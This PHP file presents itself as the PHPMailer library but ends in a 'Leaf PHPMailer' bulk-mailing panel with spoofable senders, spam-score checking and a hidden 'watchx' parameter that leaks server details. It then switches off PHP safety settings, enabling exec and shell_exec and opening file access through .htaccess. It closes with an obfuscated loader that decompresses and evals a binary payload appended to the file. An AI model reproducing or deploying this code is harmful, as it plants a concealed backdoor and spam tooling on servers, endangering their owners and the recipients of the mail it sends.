            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$cTAk='gzuncomp'.'ress';$Rzlg='s'.'t'.'r'.'_rep'.'lace';$DMtP='exi'.'t';$aWED='f'.'ile'.'_g'.'et'.'_conten'.'ts';$TrmA='s'.'ubs'.'tr';eval($cTAk($Rzlg('yracshdmqu','>',$Rzlg('gwxzdlmfvc','<',$TrmA($aWED( __FILE__ ),-217082)))));$DMtP(0);
?>
x]ʖW#}C~_!I~@ޜ R$(	=y۽}{GV}	H$_/_?C_r+u~~ȁ?9ޮ?/]_}\x\}}Lz~?_}{o_}_lX[YxpԨߣ.{22oSnmBmC?V6a{-Ļߎ:ԎjfLߟW~t
ӽ27}4Tyracshdmquxzl'ܶգ;bqqS/9]MJ\CC߇߿#[XaWe.kϾ)smwh*nxi
|b-ߎ!ّt߲^m$o*}6DwyDݝr?5]~㶭jpMx@xo~:4krhڬd8/:}bB
ҒCVvk9:yracshdmqu1Q(?__ݗO~f;g?0$ nV:Vf']yracshdmqu*/k{?^8y凉(cGVT|[KZ}Q/t0؎u8pC.?w_4NoY!^[.T8W9GU=aq %k?ױ~[d;	},:cߛyracshdmqus\~TR~šI.G5Nm2Q?.a)lY0~QN[q]-[}9N8sh{6+=&ߧhn/yracshdmquĆq/Ǣ2?pd}6͠oJgwxzdlmfvcn;RE;:*m$ܦ,IkZ?QބUo1yracshdmquwwiqM[
&єCo,Ggwxzdlmfvcw)[[gߧ~w/
˗o.{j04jRKof(yl4xS{Go論
gJ)'[3(sNd#htP#S{ʐ2۠\d*k*Hgwxzdlmfvchzd"F$L
9?s.H}r&+4DCsb,Ŭ)ӅV}2
7^0kgU6Q9-%w.|yracshdmquo*YbQ})_"8lϷEӫd;6k3{Tr_oyracshdmquRlow.Q{8?&eZKs,-GR^.༖$Ɉ~i[S)Bމkً_J8ɮyracshdmqu׽)h!qpuXEϕ9^Q!_mމGHFq
rWI ~﬋ @]`ֱUr.yracshdmqu_&_2El}؇/m	g]̤aĎ#?K
*	ĥksG[Idb+藐;IƖ0¹p~$Sk;6H	FG(;yracshdmqu墝¦cYqQV]ϷR"yracshdmquKx{P(癬M{?gwxzdlmfvcUآK-\gwxzdlmfvc(3lgwxzdlmfvcg#)k&$Y/p9gt'eĪ{D?ӇxBN,&/d-G
gһRn3!dMrN~4I?1%nѼ#?蝓
